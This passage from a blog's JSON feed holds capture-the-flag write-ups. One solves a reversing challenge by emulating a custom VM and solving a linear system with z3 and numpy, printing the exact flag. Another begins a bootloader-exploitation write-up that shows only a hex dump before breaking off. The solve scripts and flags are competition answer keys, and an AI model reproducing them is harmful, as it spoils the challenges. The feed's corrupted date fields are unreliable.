style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# otherwise just add the constraint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esol\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eadd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ei run it and get the flag: \u003ccode\u003e.;,;,{we_ought_to_start_storing_our_data_as_dna_instead}\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"the-second-solution-intended-after-the-ctf-ended\"\u003eThe Second Solution (intended) (after the ctf ended)\u003c/h2\u003e\n\u003cp\u003ei talked before about it being a linear system, in this solve i tried to extract the values of the matrix and the result vector to solve this system, the reason i used z3 in the first solution is because i couldn\u0026rsquo;t extract all the matrix values from the disassembly (the first part of it has only 11 rows), after the ctf ended i thought of an idea, by multiplying a matrix with a vector/input flag (1, 0, 0 \u0026hellip;) the resulting vector will be the first column of the matrix\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/images/matrix-equation.png\"\n  alt=\"matrix equation\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eand since i can extract the resulting vector, i can extract each column of the matrix, i just needed a bit of scripting.\u003c/p\u003e\n\u003cp\u003esince i am setting all the flag bytes to 0, i had to hard code the keys in instruction 14 like this\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epri\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e111\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e117\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e105\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e97\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;MARSHAL: \u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__code__\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emarshal\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eloads\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e([\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eto extract the columns and the result vector i used this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ematrix\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enp\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ezeros\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edtype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# matrix of values\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erslt\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enp\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ezeros\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edtype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# the compared vector\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elist\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x00\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eindex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epri\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x31\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eindex\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003erslt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[:]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ee\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# this is the last comparision, break at it\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[:,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eindex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecolumn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eindex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecolumn\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eindex\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ecolumn\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;CMPEQ \u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e \u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eafter extracting the values we can solve and print the flag using a simple linalg.solve from numpy:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enp\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elinalg\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esolve\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erslt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003echr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eround\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eval\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eval\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003efull script \u003ca href=\"/scripts/smiley2025-dna-solve2.py\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eafter running it i get the flag: \u003ccode\u003e.;,;,{we_ought_to_start_storing_our_data_as_dna_instead}\u003c/code\u003e\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/smileyctf2025-dna/","date_published":"16066-16-09T60:1616:00+00:00","date_modified":"16066-16-09T60:1616:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"c23e577166cb9c9151cafdd5317bd9e36bcb7420","title":"bootflop chall writeup from ingehack 4.0","summary":"","content_text":"challenge author: itskarudo points: 493 desc: i love esolangs, i love bootloaders. this challenge gives a custom bootloader that you have to exploit.\nwe are given two files run.sh and bootflop.img (which is the bootloader image)\nfirst thing i did was running xxd on bootflop.img:\n00000000: fc31 d2c7 0622 7d26 7dbf 567d c706 247d .1...\u0026#34;}\u0026amp;}.V}..$} 00000010: 567d b03e e8f8 00b0 20e8 f300 e8f5 003c V}.\u0026gt;.... ......\u0026lt; 00000020: 7f74 0baa 3c0d 741e 3c0a 741a ebee 81ff .t..\u0026lt;.t.\u0026lt;.t..... 00000030: 567d 74e8 4fb0 08e8 d500 b020 e8d0 00b0 V}t.O...... .... 00000040: 08e8 cb00 ebd6 b00a e8c4 00ff 0e24 7dff .............$}. 00000050: 0624 7d8b 3624 7d80 3c2b 742a 803c 2d74 .$}.6$}.\u0026lt;+t*.\u0026lt;-t 00000060: 2d80 3c3e 7430 803c 3c74 3180 3c2e 7432 -.\u0026lt;\u0026gt;t0.\u0026lt;\u0026lt;t1.\u0026lt;.t2 00000070: 803c 2c74 3880 3c5b 7443 803c 5d74 66b0 .\u0026lt;,t8.\u0026lt;[tC.\u0026lt;]tf. 00000080: 0ae8 8b00 eb83 8b36 227d fe04 ebc1 8b36 .......6\u0026#34;}.....6 00000090: 227d fe0c ebb9 ff06 227d ebb3 ff0e 227d \u0026#34;}......\u0026#34;}....\u0026#34;} 000000a0: ebad 8b36 227d 8a04 e864 00eb a2e8 6400 ...6\u0026#34;}...d....d. 000000b0: 8b36 227d 8804 